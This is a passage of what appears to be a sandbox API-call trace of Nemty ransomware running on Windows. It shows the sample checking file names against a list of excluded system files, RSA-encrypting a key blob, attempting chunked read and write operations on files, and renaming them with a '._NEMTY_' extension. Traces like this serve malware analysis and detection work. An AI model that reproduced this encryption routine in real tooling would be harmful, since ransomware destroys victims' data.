lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401f8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0132.216] CloseHandle (hObject=0xffffffff) returned 0 [0132.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340368 [0132.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0132.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0132.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0132.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0132.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0132.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340440 [0132.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0132.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340440 | out: hHeap=0x4f90000) returned 1 [0132.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0132.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_Loading.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_loading.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_Loading.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_loading.png._nemty_kgobjgd_")) returned 0 [0132.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0132.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0132.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0132.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401f8 | out: hHeap=0x4f90000) returned 1 [0132.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0132.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0132.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0132.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0132.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.217] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91469db, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc91469db, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf63, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="Gadget_Main_Background_QuickLaunch.png", cAlternateFileName="")) returned 1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2=".") returned 1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="..") returned 1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="...") returned 1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="windows") returned -1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="$RECYCLE.BIN") returned 1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="rsa") returned -1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="NTDETECT.COM") returned -1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="ntldr") returned -1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="MSDOS.SYS") returned -1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="IO.SYS") returned -1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="boot.ini") returned 1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="boot.ini") returned 1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="AUTOEXEC.BAT") returned 1 [0132.217] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="ntuser.dat") returned -1 [0132.218] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="desktop.ini") returned 1 [0132.218] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="CONFIG.SYS") returned 1 [0132.218] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="RECYCLER") returned -1 [0132.218] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="BOOTSECT.BAK") returned 1 [0132.218] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="bootmgr") returned 1 [0132.218] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="programdata") returned -1 [0132.218] lstrcmpiW (lpString1="Gadget_Main_Background_QuickLaunch.png", lpString2="appdata") returned 1 [0132.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0132.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_QuickLaunch.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0132.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_QuickLaunch.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Main_Background_QuickLaunch.png", lpUsedDefaultChar=0x0) returned 38 [0132.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0132.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_QuickLaunch.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0132.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_QuickLaunch.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Main_Background_QuickLaunch.png", lpUsedDefaultChar=0x0) returned 38 [0132.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0132.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0132.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0132.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_QuickLaunch.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0132.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_QuickLaunch.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Main_Background_QuickLaunch.png", lpUsedDefaultChar=0x0) returned 38 [0132.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0132.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0132.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_QuickLaunch.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0132.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0132.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_QuickLaunch.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Main_Background_QuickLaunch.png", lpUsedDefaultChar=0x0) returned 38 [0132.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0132.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340120 [0132.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0132.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340208 [0132.218] Sleep (dwMilliseconds=0x5) [0132.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2754b30, dwHighDateTime=0x1d561e8)) [0132.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2754b30, dwHighDateTime=0x1d561e8)) [0132.226] GetLastError () returned 0x5 [0132.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0132.226] GetLastError () returned 0x5 [0132.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0132.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0132.226] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0132.226] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0132.226] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0132.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402f0 [0132.227] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402f0, pcchString=0x653e91c | out: pszString="ViWAQL2FdtpwCWS7wEqaYRYEdz8X7aGnwYCVUCnDmdjj+C0dQM48rOGgqZFY/ZmX\r\nIc6UWjebINMnsoiJc5jL2Dj1vYI+kiL+71zrJSXYDylr4abm17Qrt63gKG9U5PFw\r\njKSPordMKjWOEiKvXviRyV2mpg2vZrssjqPdJeqbmb+fjS+/ea5oCVAT+5oeG2ai\r\nDpXh++x97VdoMiAx9ktZNRC4o5+r5ENxfOyDaAr9UOA0MfeoU7zBFwFezV13i8l7\r\nNTnNgzbti/KjpenwEuwWWGRPR3ZThwo9pwPluSVg4PWSNmzVR1JoJWXt0GH0PV/u\r\n9VpiuBVj+zA/vlbMJiTErw==\r\n", pcchString=0x653e91c) returned 1 [0132.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0132.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f0 | out: hHeap=0x4f90000) returned 1 [0132.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0132.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0132.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402f0 [0132.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0132.227] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_QuickLaunch.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_quicklaunch.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0132.227] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0132.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0132.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.248] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.287] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.287] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.296] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.306] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.306] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.315] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.325] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.325] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.331] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0132.337] CloseHandle (hObject=0xffffffff) returned 0 [0132.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340460 [0132.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0132.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0132.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0132.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0132.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0132.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0132.337] 